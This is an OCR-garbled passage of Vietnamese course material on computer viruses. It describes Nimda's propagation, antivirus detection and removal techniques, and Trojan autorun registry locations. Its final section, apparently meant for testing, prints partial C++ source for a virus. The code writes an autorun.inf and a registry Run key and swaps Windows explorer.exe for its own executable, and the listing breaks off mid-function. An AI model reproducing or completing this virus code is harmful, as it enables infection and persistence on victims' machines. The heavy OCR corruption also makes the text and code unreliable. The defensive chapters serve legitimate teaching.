Nimda ciing l1ay lan qua Website dong khong kin vi vay ma cac trinh
duyét sé& 1ay lan & ca viéc nhin trang Web. Cubi cting, Nimda 14 con sau dau
tién str dung mdy tinh ctia nguoi ding dé quét mang cuc bd xac dinh nhitng cd
may c6 thé bi ton thuong dang sau buc tuong lira dé co thé tan cong (trude day

chi nhiing con sau lay lan qua server mai lam vi¢e do).

Nimda sir dung mot vai nhugce diém duoc biét dén trong nhiing server IIS

Microsoft. Mot sd nhuoc diém dé duge nhic dén tai dia chi:
http://www.microsoft.com/tech/security/bulletin/ms00-078.asp
http://www.microsoft.com/tech/security/bulletin/ms01-020.asp
Sau Nimda sir dung mot s phuong phap sau dé lan truyén:

- Tir khach hang dén khach hang qua thu tin dién tir va lay nhiém
file.EXE

- Tir khach hang dén khach hang qua mang chia sé cuc bo.

- Ttr ngudi phuc vu mang dén khach hang qua trinh duyét ctia nhimg

website.

- Tur khéach hang dén nguoi phuc vu mang qua su tich cuc quét va su khai

thac tinh dé bi ton thuwong cta “Microsoft IIS 4.0/5.0 directory travarsal”.

- Tir khach hang dén nguoi phuc vu mang qua sy quét nhiing cira sau

duoc dé lai boi con sau “Code Red I1” va “sadmind/IIS”.
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1/. Lay nhiém file:

Nimda hanh dong gidng nhu bt ky file 14y nhiém chuin nao. N6 tim
kiém nhiing file .EXE va thém vao nhiing file d6 chinh né nhu mét tai nguyén.
Khi file .EXE dugc mot ngudi sir dung tai xudng roi thi sy anh huéng cua né
lai duoc tang kha ning lan rong. Pong thoi, néu file 1y nhiém da & trén mot
may tinh trong mang cuc bd, nhing file chia sé d6 co thé cling s& 1am lan rong
ra sy anh hudng cia con sdu Nimda.

Khi mot file Iy nhiém thyc hién 1ay nhiém qua nhiing file khac. Nimda
thuc hién x6a file nay sau khi n6 két thuc nhung khéng thé ludn ludn 1am duoc
diéu nay. Dé thyc hién didu d6 no tao ra WININLINI v6i nhitng 1énh dé xo6a
file trong 1an Windows khoi dong sau do.

Nimda tim kiém file 1ay nhiém. Nhiing file .EXE gay lay lan bing cach
tim kiém cac khoa va tat c khoa khac.

[SOFTWARE \ Microsoft\Windows\currentVersion\App Paths]

[SOFTWARE \ Microsoft\Windows\currentVersion\Explorer \Shell Thu

muc|
bac biét, file WINZIP32.EXE thi khong bi lay lan.

2/. Vai tro la sau Email:

Theo khia canh khac, Nimda hanh dong giéng nhu cac con sau khac. N6
tim kiém dia chi danh sach email khach hang trong may nan nhan. Va nhiing
file HTML trén may tinh d6 cho dia chi email va sau dé gui chinh n6é cho

nhiing dia chi nay trong mot file dinh kem.

Loai dau tién duoc dinh nghia nhu loai “Van ban/Html” nhung khong
chira dung ndi dung gi ca. Loai thir hai dugc dinh nghia nhu loai “ Am
thanh/X-Wav ", nhung chira dung mét file dinh kém c6 tén la README.EXE,

do 1a mot chuong trinh.

Nimda st dung nghi thitc SMTP ctia chinh minh dé giri email.
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3/. Vai tro la sau Web:

Nimda quét Internet cho nhiing server mang IIS Micrososft. Khi mdt
server dugc tim théy, néu tim duoc 15 héng béo vé co thé tham nhap vao, thi
Nimda vao va stra d6i nhiing trang Web ngiu nhién trén server (cling nhu
nhimng file .EXE trén server). Nhitng su cai bién cho phép con sau c6 thé lan

truyén t6i ngudi dung mot cach don gian ngay ca khi duyét Website do.

Dé lam diéu d6, Nimda tim kiém m3 ngudn cua file . HTML va .ASP. Khi
tim théy, nd thém mot trinh JavaScript ¢ cudi file HTML va .ASP. M3
JavaScript nay mo mét file c6 tén README.EML khi dugc nap bdi mot trinh
duyét mang . README.EML la dang khéc cua con sau, dugc dat vao trong thu
muc noi ma file thyc thi nhiing file . HTML duoc tim thay & trén. Nhiing trinh
duyét chua dugc lép cac 16 héng s€ tu dong thuc thi nhitng file nay ma khong
can ngudi dung phai kich hoat vao. Nguoi ding s& khong nhin thdy con siu

hoat dong khi n6 chay trong mét cura s6 thu nho.

Lay nhiém qua nhiing file chia sé. Sy 1y lan nhitng may tinh trén mot
mang cuc bo s& tim kiém may tinh khac thong qua file chia sé mé. Khi nao tim
thdy, Nimda s& chuyén hé thong hoic file an (RICHED20.DLL) Ién trén may
tinh khac trong bat ky thu muc nao noi nhing file vin ban c6 dudi .DOS hoic
EML dugc tim thdy. Sau d6, néu nhiing file ndy duoc mé biang Word,
Wordpad, hodc Outlook nhiing file 4n RICHED20.DLL cling s€ tu dong dugc
thi hanh. Chinh diéu nay sé& gay ra sy lay lan cho may tinh do.

Pong thoi, Nimda s& ¢ ging thay thé file RICHED20.DLL cua
Windows sip xép va dit nhiing file c6 dudi .EML (d6i khi 1a dudi NWS) vao

trong nhiing thu muc no truy nhép.
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Nimda trén may tinh cta nan nhan. Nimda théng thuong xuét hién nhu
mot file dinh kém README.EXE véi mot email, nhung c6 thé 16 ra nhu bat ky
céi nao khac. File c6 dudi .EXE véi hon 50 dic tinh trong file gdc co ban. Néu
chay, ban than no trudce hét sao chép td1 mdt thu muc tam thoi voi mot cai tén
dit ngau nhién dang MEP* TMP (& dau c6 * 1a & d6 co dai dién nhing dic tinh
ngau nhién). R6i sau d6 tir cai thu muyc nay co ty minh thuc hién bang cach sir

dung dong 1énh tuy chon “-Dontrunold ™) .

St dung nhirng thao tac s hoc s& gitip con sdu xac dinh liéu xem no cé
thé xoa file (trong thu myc tam). Néu ma 1am duoc thi con sau s& xay dung
duoc cong cu truyén nhiém so cép cua no: mot MIME dugc ma hoa sao cho co
thé sao chép chinh n6 cho nhiing tin nhan nhiéu phan ma co thé gan vao.
Nhirng con sdu méi ndy s& dugc gin cho mot cai tén ngiu nhién va dugc cat

giit trong mot thu muc tam thoi. Bay gio thi nd san sang dé thuc thi cong viéc.

Cubi cuing, con sau sao chép chinh n6 téi RICHED20.DLL, trong thu
muc Windows\System, va dat file an vao hé thé)ng. Khi d6 Nimda duoc thuc
thi tim kiém nhimg tai nguyén mang dung chung va bat dau quét nhing file
duoc chia sé. Mot sb file c6 phén mo rong .DOC va .EML né dang tim kiém,
khi tim thdy, RICHED20.DLL duoc sao chép téi thu muc ctia ching sao cho
no6 s€ dugc chay khi mgt thanh phﬁn OLE duoc cAm trén may tinh tir xa. Piéu
nay, sau d6 s& gy ra qua trinh truyén nhiém trén may tinh tir xa.

Mot vai ban sao cia con sau lam mot sd viée sau:

N6 stra doi khoa [Software \ Microsoft \ Windows \ CurrentVersion \
Explorer\Advanced] dé nhitng file 4n khong con nhin thay dugc. Piu nay s&
che dau con sau trong Explorer.

N6 tao thém tai khoan Guest trén hé thong bi lay nhiém va ghép tai khoan
Administrator va Guest thanh nhom dac biét. Sur dung diéu nay no s¢ tao ra
chia sé 6 " ¢:\” v6i ddy du nhitng quyén truy cap dic biét.

N6 x6a nhitng khoa con tir khoa [ SYSTEM \ CurrentControlSet \
Servieces \lanmanserver \ Shares \ Security ] ma tac dung viéc lam do 1a vo

hiéu hoa duoc su chia sé an toan.
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Chuwong 2. NHAN DANG VA PHAT HIEN VIRUS
2.1. KY THUAT NHAN DANG VIRUS

2.1.1. Nhan dang chinh xac miu (Signature based delection)

La cong viéc nhan dang chinh xac cac virus khi chuong trinh Anti Virus
AV d3 c6 mau cia virus d6. K¥ thuat ndy c6 thé mé ta don gian nhu sau: cac
file can kiém tra virus duoc phén tich va so sanh v6i mau virus da biét trudc,
néu phat hién mot doan mi virus thi file d6 c6 thé bi 1y nhiém virus va phan

mém thuc hién bién phap loai bd virus khai file bi 1ay nhiém.

K¥ thuat nhan dang chinh xac mau virus khién cho cac phan mém lién tuc
phai cap nhat co s& dit liéu dé c6 kha nang nhan biét cac loai virus mdi cung
cac bién thé cua no.

Céac phan mém diét virus déu st dung k¥ thuat nay dé quét virus. SO cac

ma nhan dang cang 16n thi kha nang diét virus cuia AV d6 cang cao.

Tt ca cac k¥ thuat nhan dang khac ra doi déu véi muc dich bo tro cho

nhiing thi€u so6t cua ky thuat nhan dang nay.
+ Uu diém cua k¥ thuit nhan dang chinh x4ac mau virus:
D0 chinh xac cta viéc nhan dang virus cao, it nham lan.

Két qua cta viéc diét virus tot hon. Cac k¥ thuat nhan dién twong dbi chi
cho phép nghi ngd mot file c6 phai la virus hay khong. Nhan dién chinh xac

cho phép loai bo cac triéu chimg di kém véi virus, khoi phuc lai hé thong.
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+ Nhuogc diém cua ki thuat nhan dang chinh xac mau virus:

Khuyét diém 16n nhét ctia k§ thuat nhan dang chinh xac miu 1a khong thé
dbi phé duoc voi cac virus méi hoac chua xuét hién khi chua c6 miu dé nhan
dién.

Khéi lugng co so dir lidu dé luu trir cac mau virus 16n, 1am cho kich
thudc ciia phan mém diét virus 16n.

K thuat nay doi hoi phai cap nhat co so dit liéu lién tuc nén mat nhiéu
chi phi vé thoi gian, tién bac, cong sirc.
2.1.2. Nhan dang theo ma dai dién

Ban chit cua mot file bat ky 1a mot chudi s6 dai, nén ching ta c6 thé coi la

mot chudi string va tién hanh 1dy ma hash cua file. Do tinh chat cia minh, ma hash
nay gan nhu 13 duy nhat. Khi ching ta d3 c6 miu cta 1 virus ching ta s& co thé liy
dugc tr mau d6 mot ma hash.Khi d6 viéc nhan dang mdt file co6 phai 1a virus hay
khong chinh 1a viéc tao ma hash file do roi so sanh hash d6 véi hash mau virus. Co

hai cach liy nhan dang theo ma hash 1a: 1iy hash theo toan file va lay hash theo mot

phan théng tin quan trong.
2.1.2.1. Lay dqi di¢n theo toan file

Céch don gian nhét dé tao ban nhan dién dic trung cho mot mau virus 1a
tinh hash dic trung cho cho toan bo file mau. Céc thuat toan hash thuong dugc
str dung trong truong hop nay 1a MD5, SHA1, SHA256 ... ¢6 xac xut tring 1ap
du thap dé c6 thé str dung 1am ban nhan dién dic trung cho mot file.

+ Uu diém:

Céch thyc hién don gian.

+ Nhuoc diém:

Chi phi tinh toan cao, thoi gian tinh hash chdm, nhat 14 véi file c6 kich
thudc 16n. Nhuoe diém nay boc 10 rd khi quét virus cho tat ca cac file trong h¢

thong.
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2.1.2.2. Ldy daqi di¢n theo mét phin thong tin quan trong

Dé khic phuc nhugc diém trén ngudi ta di cai tién bang cach chi tinh
hash ctia mot phan thong tin quan trong nao d6 cua file . Vi du déi véi file thuc
thi (.exe, .com, .dll, .sys ....) phan thong tin quan trong c6 thé 1a PE header
(Portable executable), vung nh¢ xung quanh Entry Point cia chuong trinh.
Vi¢e lya chon vung thong tin nao 1a quan trong phu thudc vao chién lugc riéng

cua tung hang AV
+ Uu diém:

Di cai tién dugc toe do 1ay hash dang ké so voi phuong phép 1ay hash

toan file.
+ Nhuoc diém:
Cai dit phirc tap hon phuong phép 14y hash toan file.

Khong phai tat ca cac dinh dang file déu c6 thé lya chon duoc vung chira
thong tin quan trong, dic trung ctia nd, chi co thé ap dung véi mét sb dinh dang

nhét dinh.

2.1.3. Scan theo string
Day 1a cach c6 dién nhét va van duogc str dung pho bién trong hau hét cac

AV hién nay.
Tai vi tri offset nhét dinh:

2.1.3.1. Xét theo offset tinh hoan toan

Trong cach nay thi chi don thuan xac dinh string nao, tai vi tri offset la
bao nhiéu, ta str dung sign nay dé nhan dang mot file c6 phai 1a virus hay
khong. Nguyén tac chon string dé nhan ra dau 1a virus thuong dua vao tinh dac
thi cta timg virus ma string dugc chon c6 thé khac nhau.

+Uu diém:

Cach thirc update mot sign va scan kha dé thyc hién.
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+ Nhuoc diém:

Céch scan nay kha bi dong voi ho virus, vi du néu tim cach chén thém

hay x6a 1 byte trong file binary cuia virus (van phai dam bao virus chay duoc)

ma byte ndy ndm & truc phan offset sign thi tit yéu phuong phap nay khong

thé nhan ra mau virus sau khi bi thay doi.

2.1.3.2. Xét theo vi tri offset twong doi

O cach nay dia chi offset dugc tinh duya vao mot thanh phz‘in nao doé (nhu

Entry Point, Section thir may ..)

Viéc xét nhu thé ndy c6 thé md rong ra nhu offset: Entry Point + S6 nao

Sau day chung ta xét mdt vi du vai viée so sanh cau truc 2 bién thé khac

nhau cua dong virus: w32.funnyIM.worm

Ban dau ching ta xac dinh dia chi Entry Point ctia 2 mau virus:

Tén mau

Kich thudc

Entry point

Mau 1

57 344 byte

4332

M3u 2

57 344 byte

4524

Chlng ta quan sat hinh sau:
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Chung ta s& c6 2 string tuong dong, nhung & 2 offset khac nhau (tir sau,
mdi khi nhic dén cac string tir file nhi phén, t6i s& viét dang chudi cac s6 hexan

(thap luc phan) dé tién quan sat):

Tén mau String Offset
Mdu 1 64 75 6E 67 63 6F 69 00 4392
Mau 2 64 75 6E 67 63 6F 69 00 4384

Nhin 2 bang s6 liéu trén chung ta c6 thé tao mOt ma nhan dang chung cho
ca 2 virus nay la:

String: 64 75 6E 67 63 6F 69 00

Offset: Dia chi Entry Point + 60

+ Uu diém:

Viéc mo rong nhu thé ndy s€ lam mo rong dai virus dugc nhan dang. Vi
du khi chinh stra mdt s6 bytes nhu cach bén trén thuc hién nhung néu sau vi tri
Entry point nhu cii va van con ton tai cac byte nhu ban dau thi van c6 thé nhan

ra bang sign da cap nhat theo cach nay.
+ Nhuoc diém:
Viéc cap nhat doi hoi nhiéu thong tin hon phuong phép offset tinh

Scan engine phai c6 co ché lam vi¢c phure tap hon dé thich img véi co ché

scan nay.

Do phuong phap nay lay vi tri offset dua vao mot phan thong tin nao do

cua mot dinh dang file thich hop nén bi gidi han mot s6 dinh dang file.

2.1.4. Nhan dang hanh vi dang ngo

Nhan dang cac hanh vi dang ngo 1a mot chirc nang "thong minh" ma
khong phai bat ky phan mém diét virus nao ciing c6. Hiéu mot cach don gian
thi phan mém diét virus s& theo ddi sy hoat dong bat thudng ctia hé thong dé co
thé phat hién cac virus chua dugc biét dén trong dir li¢u ctia né hodc cac phén
mém doc hai dé tir d6 dua ra canh bao ngudi sir dung, ¢6 lap virus dé san sang
gtri mau dén hang bao vé phan tich va cip nhat vao ban nang cip co s& dir liéu

ké tiép.
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Chtre ning nay & cac phin mém diét virus thudng cho phép lwa chon kich
hoat hodc khong, mirc do hoat dong (str dung & mirc d¢ hoat dong tich cuc,
hoat dong trung binh & mirc dé cu, hay hoat dong & mtrc do thép - mac dinh
thiét 1ap thuong 1a kich hoat sin & mirc d6 dé cir) boi da sé chung c6 thé chiém

tai nguyén va 1am cham hé théng dbi véi cac may tinh khong da manh.

2.1.5. Kiém soat lién tuc

Phan mém diét virus may tinh thuong thuc hi¢n kiém soat lién tuc theo
thot gian thuc dé bao vé hé théng. Hinh thire kiém soat lién tuc s& quét virus
moi file ma hé thdng truy cip dén, moi file ngay tir khi bit dau dugc copy vao
hé thdng thong qua hinh thirc nhin biét so sanh mAu va theo ddi hanh dong

dang ngo.

2.1.6. Két hop cac phwong thirc

Néu chi don thuan st dung k¥ thuét so sanh mau thi mot phén mém diét
virus sé& that bai béi chung chi giai quyét hau qua cac file bi nhiém chir chua
tim dén nguyén nhan dan dén file bi nhiém. Khi str dung mot s6 phan mém
chua di manh ta s& nhéan thdy trudng hop: Phin mém da diét duoc hoan toan
virus trong may, nhung ngay sau khi phién khoi dong ké tiép cta hé diéu hanh,
phan mém lai phét hién ra chinh virus d6. Pay c6 thé khong phai 1a phan mém
nhan dang dugc nhung khong diét duoc, ma 1a virus lai duoc 1ay nhiém trd lai
boi phan mém di khong thé giam sat qua trinh khoi dong hé diéu hanh ngay tir

khi bios trao quyén diéu khién.

Chinh vi vay, phan mém can phai két hgp moi phuong thirc dé kiém soat
va ngan chin cac hanh vi cta virus. Virus c6 thé dit cac dong 1énh trong
registry dé 1y nhiém virus tir mét file nén nao d6 hodc vo hiéu hoa phan mém
diét virus; Ciing c6 thé virus thiét 1ap tai vé ngay khi sir dung trinh duyét dé két
n6i vao mang Internet. Do vdy phan mém diét virus can phai két hop moi
phuong thirc dé ngan chin virus. Chinh nhitng yéu t6 nay lam 1én sy khac biét
gita cac phan mém diét virus hién nay, khong 1an né vé6i vo van phan mém diét
virus khac khi ma ngay mét sinh vién ciing c6 thé viét mot phan mém diét virus

néu chiu khoé suu tam cac mau virus trén mang Internet hi¢n nay.

49



2.2. PHUONG PHAP PHAT HIEN VIRUS
2.2.1. Quét (scanner)

Day 1a phuong phap xuit hién sém nhat va dugce hdu nhu toan bo cac
chuong trinh chéng virus ding. Theo phuwong phéap nay cac chuong trinh chéng
virus sé tién hanh cap nhét thudng xuyén cac mau dic trung cta timg virus roi
tién hanh do xét cac file. Trong qua trinh quét nay cac chuong trinh chéng virus
nay sé so sanh cic ma nhan dang virus dé biét véi dit liéu cta ting file va nho

d6 phat hién ra virus trong file néu cé.

Nhu vay cac chuong trinh dung phuong phap nay phai cap nhat thuong
xuyén cac mau dic trung cua virus. Néu khong chung s& khong phat hién duoc
cac loai virus moi.

2.2.2. Checksum (kiém tra tong)

Pay vbn 1a phuong phap kiém tra tinh toan ven cia di liéu dugc dung
trong thong tin dugc mot sd chuong trinh chéng virus 4p dung. Nguyén tic cia
phuong phap nay 1a phat hién su thay trong cac doi tuong can kiém tra. Cac
chuong trinh sir dung phuong phap nay s& sinh ra mét tri s6 duoc goi 1a
checksum va duge kiém tra dinh ky voi dbi tuong hién hanh (file, ving
Boot...). Néu virus thim nhap vao ddi twong nay thi chuong trinh s& bao dong.
Virus c6 thé Iira cac chuong trinh chdng virus ding phuong phap nay bang
cach tao ra mot checksum gia. Pé tranh diéu nay cac chuong trinh sir dung
phuong phéap nay str dung nhiéu ky thuit ma hoa tao checksum rat phirc tap dé

virus khong thé gia mao duogc.

Diém yéu ctia phuong phap ndy 1a phai kiém tra thuong xuyén déu din
mot viée 1am rat ton thoi gian va nd khong c6 kha ning phan biét giita su thay
d6i thyuc sy va sy thay doi boi virus tan cong. Do d6 ngudi dung ludn phai lo
ling trudc nhitng canh bao sai. Phuong phap nay sé 1am cho virus ton tai néu
khi tién hanh checksum 1an dau virus da ton tai sin. Mot nhuge diém nita cia
phuong phap nay 1a khong thé ap dung cho viéc phat hién virus macro vi

nhing file. DOC luén thay d6i do ngudi sir dung
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2.2.3. Guard (canh phong)

Chuong trinh thuong tra (TSR) 4p dung phuong phap nay sé chan moi
thao tac vé dia, thi hanh tng dung. .. va canh bao cho nguoi ding biét moi diéu
kha nghi. Chang han nhu viéc ghi dé 1én file.EXE, file.COM hoic ghi truc tiép
1én vung Boot cua dia.

Tuy nhién cach nay khong phat hién dugce virus Boot dung cac ham trong
BIOS d truy xuét dia vi nhimg virus ndy duoc nap trude khi cic canh phong
chay. Chung da chin cac ham vé dia ciia BIOS trudc 1én cac chuong trinh kiéu
nay khong kiém soat duoc chung.

Céac chuong trinh canh phong sé canh bao sai khi cac ing dung c6 ghi 1én
file. EXE hay file.COM, chang han nhu qua trinh nén, bao vé, cai dit phan

mém... V& noi chung cac chuong trinh loai ndy lam giam tc d6 cua hé thong.
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Chuwong 3. PHONG CHONG VIRUS
3.1. DO TIM TRONG BQ NHO

Pay 13 budc quan trong nhit cho cac bude tiép theo, vi khong thé chira tri
néu khong biét hé théng co bi nhiém virus hay khong, hay 13 nhiém loai virus
nao. Viéc tim kiém trudc hét phai thyc hién trong bd nhd vi mot khi virus
thudng tri nim quyén diéu khién hé théng s& din dén sai lac thong tin trong
cac tac vu truy xuét dia tiép theo. Sau d6 méi tién hanh trén dia. Sy ton tai cia

virus gan lién véi su ton tai cia mdt vai dau hi¢u dac biét.

Dbi voi virus macro va TF-Virus, viéc quét bo nhd 1a khong can thiét cho
nén c6 thé bo qua, con ddi véi B-Virus va RF-Virus cong viée nay lai rat can
thiét. Viéc do tim bao gém du bao vé kha nang xuat hién mét virus méi, dua ra
chinh x4c loai virus da biét trong ving nhé. Viéc do tim trong bd nhé c6 thé

qua céc budc.

1/. Déi véi B-Virus:

So sanh téng bo nhd BIOS béo cao véi toan bo bo nhd ma chuong trinh
¢4 dugce sau khi tu kiém tra su chénh 1éch. Dau hiéu chénh 1éch b nhd cling
chua du dé két luan co su tOn tai cta virus, ma 1a co sé dé tién hanh budce hai vi
s6 chénh 1éch ciing c6 thé 1a do mot chwong trinh binh thudong 1am hoic RAM
bi hong mot phan.

Bit dau tir dja chi ctia ving cao, tién hanh do tim bang k¥ thuat quét: do
tim doan ma dic trung ciia Virus trong viing cao. Moi su tim thdy déu co thé
cho phép két luan c6 virus trong bo nho.

Trong truong hop khong phat hién, kha nang ton tai mot B-virus méi van
c6 thé xay ra. Bang du hiéu bd nhd bi thiéu hut, ngat13h tré vé ving nhé thiéu

hut va ving nay c6 ma nguy hiém thi c6 thé két luan ton tai B-Virus.
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2/. Poi véi RF-Virus:
C6 thé dung k¥ thuat quét do tim mé dic trung cua virus tir dia chi thap
cho dén cao hoic dung phuong phap goi ngit dé nhan dang ma chinh cac virus

cai dat dé ty nhan dién n6 trong by nho.

Trong truong hop khong phat hién, kha ning ton tai mot RF-Virus moi
van c6 thé xay ra. Bang dau hi¢u ngat 21h tro vé ving nhé ¢6 ma nguy hiém thi

viéc két luan c6 RF-Virus méi 1a kha chinh xac.
DO Tim Trén Dia
Vié¢ce do tim trén dia phai thuc hién sau khi kiém tra bd nhé khong co

virus hodc néu co thi da dugc khong che.

Nhu da s6 cac chuong trinh chéng virus khac chuong trinh ciing ap dung
phuong phép quét tim doan ma dic trung dé phat hién virus. Dau tién 14 quét
ving Boot dé tim B-Virus, sau d6 quét cac file dé tim F-Virus, Trojan va
Worm. Pé quét viing Boot dung ngat 13h chitc doc sector 02h ctia BIOS doc
vao bo dém va tién hanh quét tim ma virus dic trung. Dé quét file dung cac
chtrc ning truy xuat file cta ngat 21h: chitc ning md file 03Dh, sau d6 dung

chtre ning doc file 03Fh vao bd dém rdi ciing tién hanh quét tim ma virus.

3.2. DIET VIRUS VA KHOI PHUC DU LIEU

Trudc khi diét virus trén dia ma b nhd lai co6 virus thuong tri thi chuong
trinh s& tién hanh khdng ché virus trén bd nhé néu can thiét va c6 thé. Tuy
nhién, khoi dong lai may tinh bﬁng mot dia hé théng sach dé diét virus van 1a

bién phéap an toan nhat.

3.2.1. B-Virus

Nhiéu nguoi cho rang viée diét virus va khoi phuc dia chi don gian 1a ghi
de mdt Boot sector sach 1én Boot sector cii c6 virus. Tuy nhién, néu Boot sector
ctia dia c6 nhiém vu dic biét thi rat kho thuc hién, d6 ciing chua ké dia c6 ban
tham s6 ma chi can bi virus 1am sai léch chut it cling dan dén truong hop khong
kiém soat duoc dia (viée ndy hop 1y néu Boot sector sach chinh 12 Boot sector

clia dia duoc cat gitr trude do). Vi vay, cach tot nhét 1a phai khoi phuc Boot
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sector, trong trudng hop khong thé khoi phyc lai duge méi tién hanh ghi de

mét Boot sector sach. Cac budce tién hanh bao gém:

Can ct vao loai dia (dia ciing hay mém) va loai virus ti€n hanh giai ma

xac dinh noi cét giit Boot sector nguyén thiy.

Poc Boot sector nguyén thiy vao bd dém bang ngat 13h (chtrc ning doc

sector 02h) ctiia BIOS va kiém tra tinh hop 1y cta no.

Trong trudng hop viée kiém tra 1a chinh xac méi bat dau ghi dé vao Boot
sector ¢6 virus bang ngat 13h chirc ghi sector 03h ciia BIOS.

Ddi voi loai DB-Virus, viéc khoi phuc dia con co thé di kém véi viéc giai
phong mot s6 lién cung bi danh dau bo trén dia néu virus dung phuong phap
dinh vi FAT. Cach giai quyét t6t nhat d6i v6i viéc nay la: nén 1am nhiing diéu

virus da lam nhung nguoc lai.

3.2.2. F- Virus
1/. Virus macro:
Viéc diét don gian 1a x6a cac macro cua virus (diing chirc ning ngat 040h

ctia ngat 21h).

2/. F-Virus truyén thong:

Giai ma virus dé khoi phuc dit liéu ctia chuong trinh da bi virus chiém
giit sau d6 cat bo ma virus ra khoi chuong trinh.
31. Péi véi cdc file dang .COM, .BIN:

Néu virus nay lay theo kiéu ndi dudi file va tra lai cac byte dau bi virus
chiém giit, doi con tro file dén dau ma virus (dung chirc ning 042h cua ngit
21h) r6i cat khoi file bang ngat 21h cta chiic ning ghi file 040h cua DOS.

Néu virus 14y theo kiéu chén dau: doc file ngay tir sau phan ma virus vao
bo nhé bang ngat 21h ctia chire nang doc file 03Fh roi tién hanh ghi lai (ding
chirc ning 040h ciia ngat 21h).

Néu virus 13y theo kiéu dé vung trong: dinh vi va tra lai cac byte dau bi

virus chiém gitr, doi con tro file dén ma virus roi x6a no.
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4/. Pdi voi cac file dang .EXE:

Céch diét ciing tvong tu nhu ddi véi file .COM. Néu virus cét dir Exe
header cii cua file thi viéc khoi phuc chi don gian bang cach tra lai phan nay
cho file, nguoc lai phai tinh toan dinh vi mot ) yéu td cua

bang Exe header nhu ddu hi¢u nhan dang file .EXE: ‘MZ’, tong s trang,
sO byte 1é trong trang cubi cua file.
3.2.3. Virus Trojan

Trojan chi thyc hién 1ay nhiém téi may tinh ma khong 1ay nhiém vao file
trong may tinh. Do d6 khi thuc hién diét Trojan chung ta khong can qua tam téi
xem c6 ban sao ndo cua né hoat dong trong hé thong khong.

Trojan c6 dac diém 1a mudn hoat dong dugc thi n6 phai dugc kich hoat.
Mot cach hiru hiéu dé diét Trojan 1a khong cho phép né dugc kich hoat.

Thuec hién diét Trojan theo cach nay ching ta phai tim hiéu nhirng

phuong phap ma Trojan c6 thé sir dung thong qua d6 n6 duoc kich hoat.
Mot s6 phuong phap ma Trojan thuong sir dung dé duoc kich hoat 1
(Vi du voi file khoi dong 1a Trojan.exe)

Trong cac thu muc ma tai dé cac file co thé dugc kich hoat khi khéi dong

Windows:

C:\ Windows\ Start Menu\ Programs\ startup\ Trojan.exe.

Trong file C:\ windows\ Win.ini tai dong Iénh:

Load=Trojan.exe

Hodc run=Trojan.exe

- Trong file c:\ windows\ system.ini sau dong 1énh shell

Shell=Explorer.exe chay

Trong Autoexec.bat

C:\...\Trojan.exe

Trong thu muc khéi dong ciia Windows:

C:\ ...\ Trojan.exe
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- Tao khoa trong Registry:

[HKEY_LOCAL_MACHINE \ Software \ Microsoft \Windows \ CurrentVersion\ Run]
“Trojan”="c:\...\ Trojan.exe”
[HKEY_LOCAL_MACHINE \ Software \ Microsoft\ Window \ CurrentVersion\
RunOnce]

“Trojan”="c:\...\Trojan.cxe”
[HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion\

RunServices]

99__99

99__99

“Trojan”="c:\...\Trojan.exe”

[HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion\
RunServicesOnce]

“Trojan”="c:\....\Trojan.exe”
[HKEY_LOCAL_USER \ Software \ Microsoft \ Windows \ CurrentVVersion\ Run]
“Trojan”="c:\....\Trojan.exe”

[HKEY_LOCAL_USER \ Software \ Microsoft \ Windows \ CurrentVersion\

RunServices]
“Trojan”="

- Trong Resistry Shell Open véi key 1a “%1%*”

[HKEY_CLASSES ROOT \ exefile \shell\ open\ command]

[HKEY_CLASSES _ROOT \ comfile \shell\ open\ command]

[HKEY_CLASSES ROOT \ batfile \shell\ open\ command]

[HKEY _CLASSES MACHINE\SOFTWARE \ Classes \ exefile \ shell \ open \ command)]

Trojan.exe = “%1%*”

c:\...\Trojan.exe”

- Trong mot sb tmg dung ma cho phép mot sé chwong trinh c6 thé chay:
+Trong ICQ:
[HKEY_CURRENT_USER \ Software \ Mirabilis \ ICQ \ Agent\ Apps\]
+Trong ActiveX:
[HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Active Setup \ Installed
Components \ KeyName]  StubPath=c:\...\Trojan.exe
Loai bé Trojan ta thuc hién xda tat ca cc 1énh co file ma Trojan s€ dugc chay

khi khéi dong may tinh (& day vi du 1a file Trojan.exe)
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3.2.4. SGu Worm

Dé diét sau Internet ta thuc hién 1an luot cac qué trinh sau:
- Nghién ctru cac thong tin vé sau.
- Thue hién loai bo phan 14y nhidm ra khéi cac file 14y nhiém.

MGdi sau Internet c6 dic trung riéng ciia nd, cho nén diéu can thiét 1a phai
thuc hién viéc nghién ctru vé sau Internet: tén file thyc thi, duong dan cua file
thue thi, nhitng tic dong ctia né t6i cac file khac trong hé théng, céc file ma no

tao ra va phan ma dai dién cua moi con sau Internet.

Thong qua ma dai dién cua sau Internet ta co thé thuc hién viéc quét file

tim va diét sau Internet do.
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3.3. TAO VIRUS MAY TiNH
Thir nghiém chuong trinh virus may tinh véi Visual C++ chay trén hé
diéu hanh Windows XP

Chuong trinh tao virus :
Phan khai bao

#include "stdafx.h"
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<process.h>
#include<io.h>

#define SVCHOST_NUM 6
#define RUBBISH_NUM 5

#define REMOVE_NUM 5

Char*autorun={"[AutoRun]\nopen=\"SVCHOST.com
/s\"\nshell\\open="0;23(&0O)\\nshell\\open\\Command=\"SVCHOST.com
/s\"\nshell\explore=xEQ tUAi£+(&X)\\nshell\\explore\Command=\"SVCHO
ST.com /s\""};

char *regadd={"REGEDIT4\n\n\

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\\Curr

entVersion\Run]\n\"wjview32\\"=\"C:\\W\windows\\\wjview32.com /s\""};
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int copy(char *infile,char *outfile)
{

FILE *input,*output;

char temp;

if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb™))!=NULL)
&& ((output=fopen

(outfile,"wb"))!I=NULL))
{

while(!feof(input))

{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);

}

fclose(input);

fclose(output);

return O;

¥

else return 1;
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int autorun_explorer()
{
FILE *input;
if((input=fopen(*"C:\\windows\\system\\explorer.exe","rb"))!I=NULL)
{
fclose(input);
remove("C:\\windows\\$temp$");
remove("C:\\windows\\system32\\dllcache\\$temp$");

return 1;

¥

copy("C:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe");

rename("C:\\windows\\explorer.exe","C:\\windows\\$temp$");

rename("C:\\windows\\system32\\dllcache\\explorer.exe","C:\\windows\\syste

\\dlIcache\\$temp$");
If(copy("SVCHOST.com","C:\\windows\\explorer.exe")==0 && copy

